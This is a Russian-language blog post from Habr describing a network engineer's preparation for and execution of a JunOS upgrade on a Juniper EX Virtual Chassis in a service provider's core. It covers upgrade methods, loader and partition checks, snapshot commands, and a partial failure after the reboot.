Само обновление и его необходимость витала задолго до моего появления в компании (отсюда и достаточно древняя версия), однако то ли никто не решался, учитывая важность железки, то ли времени на это не было, то ли «работает – не трожь», но это уже не важно. Срок поддержки этой версии подходил к концу и обновление надо было делать. Так как это ядро сети сервис-провайдера, среди клиентов которого множество критичных к недостижимости клиентов, требования по даунтайму достаточно жесткие. Кроме прочего сюда добавляется внутренний трафик (например, бекапы), который проходит через ядро. Забегая немного наперед скажу, что без доли удачи, я провалил бы эти требования. С другой стороны, без доли неудачи, этого поста не было бы.
Итак, согласно информации от производителя, обновление системы можно произвести следующими способами:
1. Обычное обновление
2. Nonstop Software Upgrade (NSSU)
3. In-service Software Upgrade (ISSU)
Начиная с конца — ISSU. Идея состоит вот том, что сначала операционка обновляется на основном RoutingEngine (RE), а все управление и трафик коммутируется на standby RoutingEngine (RE). Затем происходит переключение между движками и обновление резервного RE. Протоколы и таблицы для этого должны быть синхронизированы между движками – это достигается с помошью технологий Graceful Routing Engine Switchover (GRES) и Nonstop Bridging/Routing (NSB/NSR).
Данный вид обновления подходит для устройств с двойным физическим RoutingEngine (aka ControlPlane, [здесь](https://habrahabr.ru/post/307696/) можно посмотреть информацию об архитектуре и RoutingEngin’ах) и/или устройств, на которых JunOS виртуализирован, например некоторые маршрутизаторы MX или коммутаторы QFX5100 и EX4600, однако только работающих в stand-alone режиме. То есть в моем случае пролет по обеим статьям.
NSSU подходит для устройств с одним физическим RE, объединенным в VC или VCF (VirtualChassis Fabric, упрощенно говоря — следующее поколение VC). В данном случае роль standby RoutingEngine играет RE на другом устройстве. Эта процедура обновляет систему на виртуальном шасси, перегружая по одному устройству-члену за раз, что позволяет минимизировать даунтайм при условии, что используются аггрегированые каналы, терминируемые на разных членах VC и подходит для любых поддерживаемых конфигураций VC/VCF. Наличие GRES и NSB/NSR здесь носит рекомендательный характер и позволяет снизить даунтайм. Звучит это здорово, но с двумя оговорками – минимальная версия JunOS 12.1 и настоятельная рекомендация не использовать его от Juniper TAC. Целевая версия системы в моем случае – 12.3, старшая рекомендованая производителем на тот момент. Она как раз дает возможность NSSU, а так же NSB/NSR – это позволяет менять основной RE в шасси на лету без потерь пакетов, а так же обновлять систему без даунтайма для пользователей.
В конечном счете, учитывая мои реалии остался только один способ – «обычное» обновление. Под обычным здесь подразумевается обновление с одновременной перезагрузкой всех устройств VC, соответственно примерно 5-15 минут неработоспособности сети. Оценочное время взято из мануалов производителя, в моем случае оно составило примерно 4 минуты. Процедура такого обновления (без проблем) так же рассмотрена [здесь](https://habrahabr.ru/post/230755/). Если вам надоело читать и вы не боитесь возможных проблем при обновлении, рекомендую посетить.
Так как я потратил достаточно долгое время на подготовку, рискну привести полные выкладки, даже учитывая, что не все они были применимы в моей ситуации. К тому же вероятен случай, что именно вам они пригодятся.
Прежде всего, производитель (и теперь уже и я) рекомендует проверить и обновить версию JunOS loader и разметку внутреннего хранилища. В моем конкретном случае делать это было не обязательно, но позже я покажу, почему это может быть важно.
Если вы обновляете устройства с версии 10.4R2 или более ранней до 10.4R3 или более поздней, вам в дополнение к собственно обновлению операционки, нужно будет обновить загрузчик, специфичный для каждой платформы. Обновление загрузчика так же переформатирует внутреннее хранилище и создаст второй раздел для хранения операционной системы. В итоге на устройтве будет два раздела с операционной системой – один активный и один запасной, а так же два раздела для прочих файлов (логи, домашняя директория и т.п). В каких ситуациях необходимо обновлять загрузчик? Первое: если вывод команды show chassis firmware не содержит информацию о версии загрузчика после слов «U-boot», перед скобками:
```
user@switch> show chassis firmware
Part Type Version
FPC 0 uboot U-Boot (May 19 2010 - 05:03:13)
loader FreeBSD/PowerPC U-Boot bootstrap loader 2.2
```
Обратите внимание, что данная команда, равно как и многие последующие выводит информацию о каждом отдельном устройстве-члене VC. Каждое устройство идентифицируется по номеру FPC (0, 1, 2 и т.д. в зачисимости от числа устройств). В этом случае устройство было одно, так как в продакшене не нашлось достаточно старых устройств и я взял одно из лабы.
Второе: если внутреннее хранилище содержит только три раздела (именуемых slice) в выводе команды show system storage:
**Вывод команды**user@switch> show system storage
fpc0:
— Filesystem Size Used Avail Capacity Mounted on
/dev/da0s1a 184M 120M 50M 71% /
devfs 1.0K 1.0K 0B 100% /dev
/dev/md0 35M 35M 0B 100% /packages/mnt/jbas e
/dev/md1 18M 18M 0B 100% /packages/mnt/jcry pto-ex-10.3R1.9
/dev/md2 6.4M 6.4M 0B 100% /packages/mnt/jdoc s-ex-10.3R1.9
/dev/md3 145M 145M 0B 100% /packages/mnt/jker nel-ex-10.3R1.9
/dev/md4 22M 22M 0B 100% /packages/mnt/jpfe -ex42x-10.3R1.9
/dev/md5 46M 46M 0B 100% /packages/mnt/jrou te-ex-10.3R1.9
/dev/md6 27M 27M 0B 100% /packages/mnt/jswi tch-ex-10.3R1.9
/dev/md7 21M 21M 0B 100% /packages/mnt/jweb -ex-10.3R1.9
/dev/md8 126M 10.0K 116M 0% /tmp
/dev/da0s1f 123M 1.3M 112M 1% /var
/dev/da0s3d 314M 146K 289M 0% /var/tmp
/dev/da0s3e 55M 78K 51M 0% /config
/dev/md9 118M 12M 96M 11% /var/rundb
procfs 4.0K 4.0K 0B 100% /proc
/var/jail/etc 123M 1.3M 112M 1% /packages/mnt/jweb -ex-10.3R1.9/jail/var/etc
/var/jail/run 123M 1.3M 112M 1% /packages/mnt/jweb -ex-10.3R1.9/jail/var/run
/var/jail/tmp 123M 1.3M 112M 1% /packages/mnt/jweb -ex-10.3R1.9/jail/var/tmp
/var/tmp 314M 146K 289M 0% /packages/mnt/jweb -ex-10.3R1.9/jail/var/tmp/uploads
devfs 1.0K 1.0K 0B 100% /packages/mnt/jweb -ex-10.3R1.9/jail/dev
{master:0}
Здесь нас интересует устройство /dev/da0 и факт присутствия только трех разделов dev/da0s1X и dev/da0s3X. Куда подевался dev/da0s2X не спрашивайте – ответа я не нашел. Так или иначе, четвертого слайса здесь нет. Если есть, он будет называться **/dev/da0s4d**.
Еще один способ проверить необходипость переразбиения – выполнить команду **show system storage partitions**. В случае, если команда возвращает ошибку, потребуется обновление.
Если есть необходимость обновлять загрузчик и переразбивать хранилище (что рекомендуется делать при любых сомнениях в необходимости) помните, что это означает форматирование, и, как следствие, удаление всей информации. Соответственно, необходимо сохранить всю важную информацию, а лучше все содержимое внутренней флешки. Сам процесс обновление загрузчика банален и повторяет таковой для JunOS:
```
user@switch> request system software add /var/tmp/ jloader-XXX.tgz
user@switch> request system reboot
```
Обновление загрузчика и системы рекомендуется делать одновременно – это позволит перезагружать устройство только один раз. С одним исключением. Если вы обновляете старую систему разметки (3 раздела) до новой (4 раздела) и одновременно обновляете JunOS, обновленная версия запишется в оба загрузочных раздела (основной и резервный). Это может быть нежелательно в ситуациях, когда вы не знаете как поведет себя обновленная система в продакшене. В таком случае необходимо будет обновлять загрузчик и систему отдельно и перегружать устройства два раза. В лабе с одним EX4200 обновление лоадера+системы у меня заняло 13 минут, для более новых/быстрых устройств, возможно, меньше.
Теперь вернемся к основной теме.
Как уже было сказано, мне не требовалось обновление загрузчика и я начал с сохранения (бекапы наше все!) всех файлов через SFTP, текстового конфига, снепшотов на внутреннее хранилище, и на внешнюю флешку:
```
user@switch> request system snapshot media internal member 0
user@switch> request system snapshot media internal member 0 slice alternate
user@switch> request system snapshot media internal member 1
user@switch> request system snapshot media internal member 1 slice alternate
user@switch> request system snapshot partition media external
```
Несмотря на то, что Juniper рекомендует использовать *сертифицированные* флешки, подходит практически любая с объемом 2ГБ и менее, отформатированая в FAT c MBR. В приведенном скрипте первые 4 строки создают снепшот запущеной операционки и конфигурации в активный и резервный (slice alternate) разделы на обоих устройствах в VC. Если устройств больше, повторить для каждого «member N». Вместо member N можно так же воспользоваться ключем "**all-members**", но я предпочитаю определенность. Сам снепшот позволяет позднее откатиться к старой версии системы и/или загрузиться из резервного раздела, а так же внешней флешки на случай, если возникнут проблемы.
**Важно!** Перед тем, как делать снепшот, проверьте текущую запущеную версию системы (**show version**) и содержимое основного и резервного раздела (**show system snapshot media internal**) на соответствие версий. Загвоздка в том, что команда «request system snapshot media internal member N» копирует текущую запущеную (ну или running) версию в основной раздел, а команда «request system snapshot media internal member N slice alternate» копирует из основного раздела в резервный. У меня в основном разделе по какой-то причине лежала более древняя версия, чем в резервном. Гиковатость и предосторожность здесь только к добру.
Последняя команда делает снепшот на внешнюю флешку и, кроме прочего, форматирует ее (ключ partition обязателен) в соответствии с содержимым и таблицей разделов внутреней флешки.
Перед обновлением желательно скопировать новую версию системы во внутреннее хранилище, если вы не обновляетесь со внешнего диска/FTP/HTTP сервера. Juniper рекомендует помещать образ системы в /var/temp. Я бы НЕ рекомендовал делать это, так как в процессе обновления содержимое /var удаляется и при возникновении неприятностей (как у меня), потребуется перезаливать образ заново. Стоит ли говорить, что данная задержка при критичности системы менее чем желательна. Воспользуйтесь лучше заранее созданой директорией в корне, а после обновления почистите хранилище с помощью «**file delete /directory/filename**».
Далее собственно обновление с перезагрузкой:
```
user@switch> request system software add /var/tmp/jinstall-XXX.tgz validate
user@switch> request system reboot
```
Ключ «validate» позволяет проверить совместимость конфигурации устройства с новой версией операционки. Для моих устройств EX4500 он выполняется автоматически и явно его указывать не требуется, но для других должен быть задан – лучше уж явно, хуже не будет.
К чему собственно этот длинный пост и куча объяснений с предостережениями? После 4 минут перезагрузки и обновления я вижу, что светодиоды интерфейсов загорелись только на втором устройстве (member1). Для меня это уже не плохо, так как все LACP линки подключены к обоим устройствам и (удача, здравствуй!) именно это устройство подключено к основному интернет-каналу, клиенты снова он-лайн. Единственный не-LACP линк подключен к member0 и соединяет парк машин с бекап-сервером. Для меня он не критичен, так как все бекапы были остановлены.
На этом месте счастливый администратор оканчивает свою работу, хлебает остатки кофе и со спокойной душой идет домой, улыбаясь ночному городу. В моем случае приведенный материал составляет 1/3 всей статьи. Если данная тематика заинтересует пользователей, с удовольствием продолжу — дальше только интересное! | https://habr.com/ru/post/320266/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.